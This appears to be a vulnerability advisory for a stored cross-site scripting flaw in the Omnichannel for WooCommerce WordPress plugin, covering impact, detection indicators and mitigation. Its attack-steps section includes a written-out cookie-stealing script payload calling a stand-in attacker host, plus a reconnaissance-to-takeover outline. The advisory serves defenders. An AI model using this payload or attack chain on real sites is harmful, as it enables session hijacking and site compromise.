CVE-2025-68041: 
WordPress vulnerability analysis and mitigation

CVE-2025-68041 is a Stored Cross-Site Scripting (XSS) vulnerability in the Omnichannel for WooCommerce WordPress plugin (also known as codistoconnect) developed by Codisto. The vulnerability affects all versions of the plugin from n/a through 1.3.65 and allows unauthenticated attackers to inject persistent malicious scripts into web pages. It was published on January 22, 2026, by Patchstack, with a CVSS v3.1 base score of 7.1 (High) as assessed by CISA-ADP (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An unauthenticated attacker can submit malicious input that is persistently stored by the plugin and later rendered in a victim's browser without proper sanitization or output encoding. The attack vector is network-based, requires no privileges, has low attack complexity, and requires user interaction (a victim visiting the affected page) to trigger script execution. The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Patchstack, NVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of authenticated users (including administrators), and defacement of web content. The changed scope in the CVSS vector indicates potential for cross-context impact, meaning scripts could affect users across different privilege levels, including site administrators, potentially leading to full site compromise (NVD, Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (NVD).

1. Reconnaissance: Identify WordPress sites running the Omnichannel for WooCommerce (codistoconnect) plugin version 1.3.65 or earlier using tools like WPScan or Shodan.
2. Identify injection point: Locate the vulnerable input field(s) within the plugin that accept user-supplied data without proper sanitization (e.g., product listing fields, channel configuration inputs, or order-related fields managed by the plugin).
3. Craft malicious payload: Prepare a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a payload designed to create a rogue admin account.
4. Submit payload: Submit the crafted payload through the vulnerable input field as an unauthenticated or low-privileged user, causing it to be stored in the WordPress database.
5. Trigger execution: Wait for an authenticated user (e.g., a site administrator) to visit the page where the stored payload is rendered, causing the malicious script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform unauthorized administrative actions, or establish persistent access to the WordPress site (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin-related endpoints (e.g., paths under /wp-admin/ or plugin-specific REST API routes for codistoconnect) containing encoded script tags or JavaScript event handlers.
• Database: WordPress database entries in plugin-related tables or wp_options containing <script>, javascript:, onerror=, onload=, or other XSS payload patterns in stored plugin data.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the plugin, potentially carrying cookie or session data in query parameters.
• File System: Unexpected new WordPress admin accounts or modified plugin files that may indicate post-exploitation activity following successful XSS-based session hijacking.

Users should update the Omnichannel for WooCommerce plugin to a version beyond 1.3.65 that addresses this vulnerability. If an updated version is not yet available or cannot be immediately applied, the plugin should be deactivated until a patch is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Patchstack) can provide interim protection. Site administrators should audit stored plugin data for signs of injected scripts (Patchstack).

The vulnerability was reported by Patchstack and noted in the Wordfence Intelligence Weekly WordPress Vulnerability Report covering January 12–18, 2026, indicating routine tracking by the WordPress security community. No significant vendor statements, high-profile researcher commentary, or notable media coverage beyond standard vulnerability database listings has been identified for this CVE (Wordfence).